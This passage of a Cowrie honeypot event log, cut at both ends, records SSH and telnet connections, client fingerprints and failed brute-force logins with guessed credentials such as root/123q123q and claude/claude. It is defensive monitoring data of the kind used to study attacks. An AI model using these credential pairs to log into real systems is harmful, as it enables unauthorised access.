tp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:53.654946Z","src_ip":"102.88.137.213","session":"ab73697ff013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:54.402710Z","src_ip":"102.88.137.213","session":"ab73697ff013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:55.585402Z","src_ip":"102.88.137.213","session":"ab73697ff013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33200,"dst_ip":"10.17.0.5","dst_port":22,"session":"3da211a898ec","protocol":"ssh","message":"New connection: 80.94.92.184:33200 (10.17.0.5:22) [session: 3da211a898ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:59.503988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:59.774557Z","src_ip":"80.94.92.184","session":"3da211a898ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:59.778965Z","src_ip":"80.94.92.184","session":"3da211a898ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:01.976270Z","src_ip":"80.94.92.184","session":"3da211a898ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:03.108888Z","src_ip":"80.94.92.184","session":"3da211a898ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51338,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06685e78a1e","protocol":"ssh","message":"New connection: 147.45.197.250:51338 (10.17.0.5:22) [session: a06685e78a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:21.020395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:21.025890Z","src_ip":"147.45.197.250","session":"a06685e78a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:21.117677Z","src_ip":"147.45.197.250","session":"a06685e78a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:21.394986Z","src_ip":"147.45.197.250","session":"a06685e78a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:22.489362Z","src_ip":"147.45.197.250","session":"a06685e78a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":47002,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6cec2af4c47","protocol":"ssh","message":"New connection: 124.156.196.131:47002 (159.203.135.109:22) [session: c6cec2af4c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:37.803606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:37.808888Z","src_ip":"124.156.196.131","session":"c6cec2af4c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:38.058424Z","src_ip":"124.156.196.131","session":"c6cec2af4c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:39.072111Z","src_ip":"124.156.196.131","session":"c6cec2af4c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:40.320508Z","src_ip":"124.156.196.131","session":"c6cec2af4c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.5.72.30","src_port":34068,"dst_ip":"159.203.135.109","dst_port":23,"session":"0db4964cf25d","protocol":"telnet","message":"New connection: 186.5.72.30:34068 (159.203.135.109:23) [session: 0db4964cf25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:15:50.619241Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":42916,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2fefe78ae3a","protocol":"ssh","message":"New connection: 43.163.95.54:42916 (159.203.135.109:22) [session: f2fefe78ae3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:02.380999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:02.388913Z","src_ip":"43.163.95.54","session":"f2fefe78ae3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:02.635375Z","src_ip":"43.163.95.54","session":"f2fefe78ae3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd12345","message":"login attempt [root/Asd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:03.650739Z","src_ip":"43.163.95.54","session":"f2fefe78ae3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:04.901729Z","src_ip":"43.163.95.54","session":"f2fefe78ae3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":53386,"dst_ip":"159.203.135.109","dst_port":22,"session":"f873ea74e7d8","protocol":"ssh","message":"New connection: 94.159.98.239:53386 (159.203.135.109:22) [session: f873ea74e7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:07.200233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:07.370952Z","src_ip":"94.159.98.239","session":"f873ea74e7d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:07.375048Z","src_ip":"94.159.98.239","session":"f873ea74e7d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:08.337903Z","src_ip":"94.159.98.239","session":"f873ea74e7d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:09.545304Z","src_ip":"94.159.98.239","session":"f873ea74e7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42706,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5dc42ab3d7","protocol":"ssh","message":"New connection: 109.237.96.109:42706 (159.203.135.109:22) [session: fe5dc42ab3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:17.422032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:17.426460Z","src_ip":"109.237.96.109","session":"fe5dc42ab3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:17.518056Z","src_ip":"109.237.96.109","session":"fe5dc42ab3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitalik","message":"login attempt [root/vitalik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:17.793370Z","src_ip":"109.237.96.109","session":"fe5dc42ab3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:18.889263Z","src_ip":"109.237.96.109","session":"fe5dc42ab3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.294646739959717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:21.913782Z","src_ip":"186.5.72.30","session":"0db4964cf25d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48850,"dst_ip":"10.17.0.5","dst_port":23,"session":"045006098ecb","protocol":"telnet","message":"New connection: 152.42.224.71:48850 (10.17.0.5:23) [session: 045006098ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:38.905355Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":17246,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a67a1e85356","protocol":"ssh","message":"New connection: 102.88.137.213:17246 (10.17.0.5:22) [session: 4a67a1e85356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:56.362575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:56.367267Z","src_ip":"102.88.137.213","session":"4a67a1e85356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:56.552681Z","src_ip":"102.88.137.213","session":"4a67a1e85356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm","message":"login attempt [root/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:57.330162Z","src_ip":"102.88.137.213","session":"4a67a1e85356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:58.519665Z","src_ip":"102.88.137.213","session":"4a67a1e85356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45456,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8a17b6a74c","protocol":"telnet","message":"New connection: 152.42.224.71:45456 (10.17.0.5:23) [session: 5a8a17b6a74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:16:58.701607Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":60752,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc39fa32475","protocol":"ssh","message":"New connection: 124.156.196.131:60752 (159.203.135.109:22) [session: afc39fa32475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:01.577332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:01.584509Z","src_ip":"124.156.196.131","session":"afc39fa32475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 